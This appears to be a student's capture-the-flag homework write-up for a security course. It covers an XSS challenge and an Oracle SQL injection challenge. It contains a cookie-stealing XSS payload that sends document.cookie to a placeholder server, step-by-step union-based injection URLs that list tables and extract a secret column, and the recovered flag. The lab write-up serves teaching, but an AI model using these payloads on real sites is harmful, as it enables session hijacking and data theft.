Computer Security HW4 Write-Up

Student ID: B07901243
Account: soyccan
Name: 陳正康

how2xss

hackme.php

- insert a payload without duplicate characters
- to send cookie to our remote server
  such as:
  ```
  hackme.php?q=<img src=@ onerror=this.src='http://myserver/?c='+document.cookie>
  ```

bottleneck

to limit the characters' use such that one character appears only once

report.php

- insert a malicious URL that will link to `hackme.php` and passing the payload as GET parameters
- so that the admin will send cookie to our server when he view that report by browser
- we proof of work should also be done whenever we send report

cathub

FLAG{hey___or@cle_d4tab4s3__inj3cti0n_i5____to0OoO0ooO0OO_e4sy???}

video.php

- found a exploitable GET parameter `vid`
- union-based SQL injection
  - but single quote and space are not allowed
  - space can be replaced by inline comment /**/
- by fuzzing, we know it's Oracle database
  - with the help of sqlmap
  - check "all_tables" and "all_tab_columns"

get all table names

```
https://edu-ctf.csie.org:10159/video.php?vid=2/**/
union/**/all/**/select/**/NULL,listagg(table_name)
within/**/group(order/**/by/**/table_name),NULL/**/
from/**/all_tables/**/order/**/by/**/1/**/desc
```

- the full sql command will be:
  select * from CAT_VIDEO_MAYBE where id=**2 union all select NULL,listagg(table_name)within group(order by table_name),NULL from all_tables order by 1 desc**
- listagg() will concat all table_name into one string, which is convenient for us

get all column names

```
https://edu-ctf.csie.org:10159/video.php?vid=-1/**/
union/**/all/**/SELECT/**/NULL,table_name,column_name
/**/FROM/**/(select/**/rownum/**/r,column_name,table_name
/**/from/**/all_tab_columns/**/order/**/by
/**/table_name)where/**/r=1
```

- full sql command:
  select * from CAT_VIDEO_MAYBE where id=**2 union all select NULL,table_name,column_name from (select rownum r,column_name,table_name from all_tab_columns order by table_name)where r={the_row_we_want}**
- by selecting the value of `r`, we can fetch any row
- second column appears as title, third one appears as video source
- found: column `V3RY_S3CRET_C0LUMN` in table `S3CRET`

get secret

```
https://edu-ctf.csie.org:10159/video.php?vid=-1/**/
union/**/all/**/SELECT/**/id,V3RY_S3CRET_C0LUMN,NULL/**/FROM/**/s3cret
```

- FLAG{hey___or@cle_d4tab4s3__inj3cti0n_i5____to0OoO0ooO0OO_e4sy???}